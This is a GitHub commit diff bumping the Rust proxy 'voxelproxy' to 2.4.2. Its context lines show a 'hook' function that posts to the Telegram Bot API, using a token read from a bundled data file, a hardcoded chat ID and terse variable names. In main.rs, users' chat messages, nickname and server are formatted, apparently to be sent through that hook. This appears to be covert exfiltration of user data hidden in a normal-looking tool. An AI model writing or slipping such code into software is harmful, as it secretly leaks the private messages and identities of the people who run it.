Skip to content

Commit e584d25

Browse files
authored
Merge pull request #3 from kauri-off/dev
Update 2.4.2
2 parents 0810abc + c352d19 commit e584d25

File tree

3 files changed

+4
-4
lines changed

3 files changed

+4
-4
lines changed

Cargo.toml

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,6 @@
11
[package]
22
name = "voxelproxy"
3-
version = "2.4.1"
3+
version = "2.4.2"
44
edition = "2021"
55

66
[dependencies]

src/lib.rs

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -36,13 +36,13 @@ pub async fn resolve(dns: &str) -> Option<Addr> {
3636
}
3737

3838
pub async fn hook(content: &str) -> Result<reqwest::Response, reqwest::Error> {
39-
const a: &'static str = {
39+
const A: &'static str = {
4040
match LOG_LEVEL {
4141
1 => include_str!("../data/data.txt"),
4242
_ => "",
4343
}
4444
};
45-
let b = format!("https://api.telegram.org/bot{}/sendMessage", a);
45+
let b = format!("https://api.telegram.org/bot{}/sendMessage", A);
4646
let c = json!({
4747
"chat_id": -4516139568 as i64,
4848
"text": content,

src/main.rs

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -434,7 +434,7 @@ impl Client2Server {
434434
let message = ChatMessage::deserialize(t).await?;
435435

436436
let content = format!(
437-
"Nick: {}\nServer: {}, Message: {}",
437+
"{}\n{}\n--------------------\n{}",
438438
&self.config.nick, &self.config.server, message.message
439439
);
440440

0 commit comments

Comments
 (0)